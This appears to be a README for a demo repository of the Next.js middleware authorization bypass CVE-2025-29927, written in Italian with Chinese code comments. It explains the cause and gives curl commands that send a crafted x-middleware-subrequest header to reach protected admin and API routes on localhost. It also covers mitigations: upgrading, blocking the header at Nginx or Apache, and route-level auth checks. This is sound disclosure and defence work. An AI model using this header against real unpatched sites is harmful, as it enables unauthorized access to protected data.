
Dimostra la vulnerabilità di bypass dell'autorizzazione del Middleware in Next.js (CVE-2025-29927) che consente a utenti non autorizzati di accedere a informazioni protette.
Questo repository fornisce un progetto di esempio che dimostra la vulnerabilità di bypass dell'autorizzazione nel middleware di Next.js (CVE-2025-29927). Questa vulnerabilità consente a utenti non autorizzati di accedere a risorse protette.
CVE-2025-29927 è una grave vulnerabilità di sicurezza (punteggio CVSS: 9.1) che colpisce il sistema middleware di Next.js. Un aggressore può bypassare completamente i controlli di sicurezza del middleware aggiungendo un header x-middleware-subrequest appositamente predisposto alla richiesta HTTP.
/admin) senza autenticazione/api/confidential)cd ed eseguire npm install per installare le dipendenzenpm run dev per avviare il server di sviluppo Next.jshttp://localhost:3000 nel browser per vedere la pagina corrente del sitoNext.js utilizza l'header interno x-middleware-subrequest per evitare che le chiamate ricorsive del middleware causino un ciclo infinito. Tuttavia, questo header può essere sfruttato da richieste esterne. Quando una richiesta include questo header e raggiunge la profondità massima di ricorsione (MAX_RECURSION_DEPTH), Next.js salta completamente l'esecuzione del middleware.
Per prima cosa, prova ad accedere normalmente a un percorso protetto:
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v
Risultato atteso: verrai reindirizzato alla pagina di login (redirect 302 verso /login)
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v
Risultato atteso: restituisce un errore 401 Unauthorized
Ora, utilizza un header appositamente predisposto per bypassare il middleware:
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Risultato atteso: accesso riuscito al contenuto della pagina di amministrazione (200 OK)
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Risultato atteso: accesso riuscito all'API e recupero delle informazioni riservate (200 OK)
Puoi anche testare utilizzando gli strumenti per sviluppatori del browser:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboardQuando il middleware riceve una richiesta contenente l'header x-middleware-subrequest:
Aggiorna a una versione corretta:
Se non è possibile aggiornare immediatamente, puoi bloccare a livello di reverse proxy (Nginx, Apache, ecc.) le richieste contenenti l'header x-middleware-subrequest:
Esempio di configurazione Nginx:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Esempio di configurazione Apache:
RequestHeader unset x-middleware-subrequest
Oltre al middleware, implementa controlli di autenticazione anche nei gestori di route:
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
// 不要只依賴 middleware,在這裡也檢查認證
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 處理請求
}